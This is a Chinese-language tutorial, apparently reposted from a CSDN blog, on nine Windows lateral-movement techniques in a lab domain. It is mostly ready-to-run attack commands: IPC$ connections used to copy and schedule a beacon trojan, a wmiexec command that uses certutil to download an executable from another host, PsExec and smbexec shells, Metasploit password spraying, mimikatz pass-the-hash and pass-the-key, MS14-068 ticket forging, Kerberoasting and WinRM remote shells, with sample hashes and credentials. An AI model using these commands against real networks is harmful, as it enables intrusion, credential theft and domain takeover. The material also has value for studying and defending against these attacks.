自学内容网 自学内容网

内网渗透-内网横向移动的九种方式

内网横向移动的九种方式

实验环境

1-4 所用环境如下:
在这里插入图片描述
5-9 所用环境如下:
在这里插入图片描述

1.IPC横向

IPC(Internet Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,使用139、445端口。

1.1 利用条件

1、目标机开启了139和445端口;

2、目标主机管理员开启了ipc$默认共享;

3、知道目标机的账户密码。

1.2 命令

建立IPC连接命令:
net use \191.168.52.136\ipc$ “password” /user:“Administrator”
断开连接:
net use \x.x.x.x\ipc$ /del
查看连接是否建立:
net use

在这里插入图片描述
建立IPC连接后可以使用计划任务执行木马上线。

拷贝木马:
copy beacon…exe \191.168.52.136\c$
创建计划任务(at<2012、schtasks>=2012):
at \191.168.52.136 15:47 c:\beacon.exe

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

2.WMI横向

WMI全称“windows管理规范”,从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动。

2.1利用条件

1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码。

2.2wmic

wmic /node:191.168.52.136 /user:xxxx /password:xxxxx process call create “cmd.exe /c ipconfig>d:\result.txt”
无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显

在这里插入图片描述

2.3 cscript

cscript //nologo wmiexec.vbs /shell 191.168.52.136

需上传wmiexec.vbs然后进入该服务器内进行执行在这里插入图片描述

2.4 wmiexec

1.执行命令:
python wmiexec.py ./:@192.168.52.136 “cmd.exe /c certutil -urlcache -split -f http://192.168.52.137:8090/wmi.exe C:\wmi.exe”
2.用hash的方式:
python wmiexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136 “whoami”
第三方软件 (交互式&单执行),容易被杀

在这里插入图片描述
在这里插入图片描述

3.smb横向

利用SMB服务可以通过明文或hash传递来远程执行。

3.1 利用条件

1、445端口开放
2、知道账号密码

3.2 psexec(微软官方工具)

PsExec64.exe \192.168.52.136 -u -p -s cmd在这里插入图片描述

3.3 psexec(impacket工具)

python psexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136
在这里插入图片描述

3.4 smbexec

python smbexec.py ./:@192.168.52.136
在这里插入图片描述

4.密码喷洒

4.1利用metasploit进行密码喷洒

msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set smbuser user.txt
msf6 exploit(windows/smb/psexec) > set smbpass password.txt
msf6 exploit(windows/smb/psexec) > set rhost 192.168.52.0/24
msf6 exploit(windows/smb/psexec) > run

在这里插入图片描述

5.PTH-哈希传递

PTH,即Pass The Hash,通过找到与账号相关的密码散列值(通常是NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。

5.1 利用条件

1、在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
2、在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1

5.2 MiMiKatz-PTH
  1. mimikatz privilege::debug

  2. mimikatz sekurlsa::pth /user:administrator /domain:goksec.org /ntlm:8a963371a63944419ec1adf687bb1be5

  3. steal_token PID

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6.PTK-mimiKatZ

即Pass The Key ,当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的ntlm hash.也就失去了作用,但是可以通过pass the key的攻击方式获得权限。

761 利用条件

获取用户的aes key

mimikatz sekurlsa::ekeys
sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
成功后会返回一个cmd

在这里插入图片描述

7.PtT-票据传递(ms14-068)

7.1 利用条件

1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid
在这里插入图片描述

7.2 利用步骤

先清空当前机器的票据信息
mimikatz kerberos::list //列出当前票据
mimikatz kerberos::purge //清除票据
然后查看本机的sid
whoami /all
在这里插入图片描述

ms14-068生成tgt票据
ms14-068.exe -u lisi@goksec.org -p goksec@2021 -s S-1-5-21-1797401017-738776913-2751391128-1106 -d DC.goksec.org

在这里插入图片描述
导入票据
mimikatz kerberos::ptc <>
使用如下命令,可成功读取域控主机C盘目录下文件
shell dir \DC.goksec.org\c$在这里插入图片描述
在这里插入图片描述

8.kerberoast攻击

攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

8.1 如何得到域中的SPN?
  1. setspn -q /
  2. cscript GetUserSPNs.vbs

在这里插入图片描述

8.2 请求服务票据

mimikatz kerberos::ask /target:<HOST/OWA>

在这里插入图片描述

8.3 导出票据

mimikatz kerberos::list /export
在这里插入图片描述

8.4 破解服务票据:

python3 tgsrepcrack.py password.txt xxxx.kirbi在这里插入图片描述

9.WinRM横向

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

9.1 利用条件

1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。

2、防火墙对5986、5985端口开放。
在这里插入图片描述

9.2 CMD执行

winrs -r:192.168.52.10 -u:192.168.52.10\用户名 -p:xxxxx “ipconfig”

获取交互式shell
winrs -r:192.168.52.10 -u:192.168.52.10\用户名 -p:xxxxx cmd

在这里插入图片描述

10.相关资源

https://www.freebuf.com/articles/system/174967.html

https://github.com/nidem/kerberoast

https://github.com/xan7r/kerberoast

https://github.com/SecureAuthCorp/impacket

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068


原文地址:https://blog.csdn.net/lza20001103/article/details/137749048

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!